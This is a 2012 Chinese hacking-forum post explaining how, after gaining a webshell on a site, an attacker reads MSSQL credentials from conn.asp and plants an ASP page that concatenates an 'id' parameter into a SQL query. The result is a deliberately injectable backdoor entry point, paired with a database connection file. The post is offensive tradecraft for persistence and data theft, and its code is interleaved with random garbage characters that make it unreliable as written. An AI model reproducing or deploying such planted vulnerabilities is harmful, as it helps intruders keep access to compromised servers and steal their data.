找回密码
 立即注册
查看: 2413|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:$ ~/ r0 Z- d9 y0 E4 ]
ASP/Visual Basic代码
2 ^" b. }9 j+ @3 ~<!--#include file="xx.asp"-->   
4 A& K2 A7 A4 g9 p<%    ) q' O0 ]! ~& Z! d0 f& Q3 {/ c  h
set rs=server.createobject("ADODB.recordset")    * w5 F" `" k1 l! w
id = request("id")   
" ~, F* b& Q3 N: q6 \strSQL = "select * from admin where id=" & id    3 g9 L) {! e: D2 g
rs.open strSQL,conn,1,3   
( z6 d9 [* r4 ers.close    , N/ p8 F. r4 |. Y0 j# @1 J
%>  
! [3 `, ~3 s' u& M8 Y9 P把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!8 V: }  {+ p# E; V" W- J% h
然后就要构造一个连接数据库的文件了,代码如下:  c' M4 r9 p; y/ g
ASP/Visual Basic代码9 b4 i: D( _; @6 |2 T5 Y# y
<%            
1 @% {0 ]" ^, k: V, TstrSQLServerName = "000.000.000.000"     '服务器名称或地址   
& `: @* w0 \9 |7 EstrSQLDBUserName = "sqlname"         '数据库帐号    - D7 s6 f6 s. T0 t+ I4 C
strSQLDBPassword = "sqlpass"         '数据库密码   
% k' f: n. W) w  ~9 g  TstrSQLDBName = "sqldataname"           '数据库名称    $ v: G% v4 e% K8 Z4 M
Set conn = Server.CreateObject("ADODB.Connection")   
) a- A& `: N1 @! j+ |strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
* G7 @6 m- d: H5 M$ Gconn.open strCon   
0 D; ~7 F9 c1 k0 \) o# a%>  0 x- j- `! [& q: g
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功. i  H2 |  s$ G' K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表